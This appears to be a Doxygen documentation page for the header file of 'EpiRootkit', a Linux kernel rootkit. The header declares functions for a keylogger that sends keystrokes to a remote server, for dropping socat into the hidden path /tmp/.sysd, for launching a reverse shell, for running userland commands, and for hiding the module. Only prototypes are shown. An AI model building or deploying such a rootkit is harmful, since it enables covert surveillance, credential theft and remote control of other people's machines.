EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
epirootkit.h
Go to the documentation of this file.
1#ifndef EPIROOTKIT_H
2#define EPIROOTKIT_H
3
4#include <linux/fs.h>
5#include <linux/ftrace.h>
6#include <linux/init.h>
7#include <linux/kallsyms.h>
8#include <linux/kernel.h>
9#include <linux/kprobes.h>
10#include <linux/sched.h>
11#include <linux/slab.h>
12#include <linux/spinlock.h>
13#include <linux/types.h>
14#include <linux/uaccess.h>
15
16#include "network.h"
17
18// Used by exec_str_as_command
19// to store the return code of the command
21 int code;
22 char *std_out;
23 char *std_err;
24};
25
26struct command {
27 char *cmd_name;
28 unsigned cmd_name_size;
29 char *cmd_desc;
30 unsigned cmd_desc_size;
31 int (*cmd_handler)(char *args, enum Protocol protocol);
32};
33
34// Function prototypes
35
36// exec_cmd.c
37#define exec_str_as_command(user_cmd, catch_stds) exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT) // Execute a command string in user mode with a default timeout
38#define exec_str_as_command_no_timeout(user_cmd, catch_stds) exec_str_as_command_with_timeout(user_cmd, catch_stds, 0) // Execute a command string in user mode without timeout
39int exec_str_as_command_with_timeout(char *user_cmd, bool catch_stds, int timeout); // Execute a command string in user mode
40
41// epikeylog.c
42int epikeylog_init(void); // Initialize the keylogger
43int epikeylog_send_to_server(void); // Send keylogger content to the server
44int epikeylog_exit(void); // Cleanup function for the keylogger
45
46// socat.c
47int drop_socat_binaire(void); // Drop the socat binary in /tmp/.sysd
48int remove_socat_binaire(void); // Remove the socat binary from /tmp/.sysd
49int launch_reverse_shell(char *args); // Launch the reverse shell with socat
50
51// hider.c
52int hide_module(void); // Hide the module from the kernel
53int unhide_module(void); // Unhide the module in the kernel
54
55#endif // EPIROOTKIT_H
Protocol
Definition config.h:28
int exec_str_as_command_with_timeout(char *user_cmd, bool catch_stds, int timeout)
Definition userland.c:139
int epikeylog_send_to_server(void)
Handles sending the keylogger buffer content to the remote server.
Definition epikeylog.c:245
int epikeylog_init(void)
Initializes the keylogger module.
Definition epikeylog.c:325
int hide_module(void)
Definition ghost.c:7
int drop_socat_binaire(void)
Definition socat.c:32
int remove_socat_binaire(void)
Definition socat.c:72
int unhide_module(void)
Definition ghost.c:24
int launch_reverse_shell(char *args)
Definition socat.c:83
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
Definition epikeylog.c:363
unsigned cmd_desc_size
Definition epirootkit.h:30
char * cmd_desc
Definition epirootkit.h:29
char * cmd_name
Definition epirootkit.h:27
unsigned cmd_name_size
Definition epirootkit.h:28
int(* cmd_handler)(char *args, enum Protocol protocol)
Definition epirootkit.h:31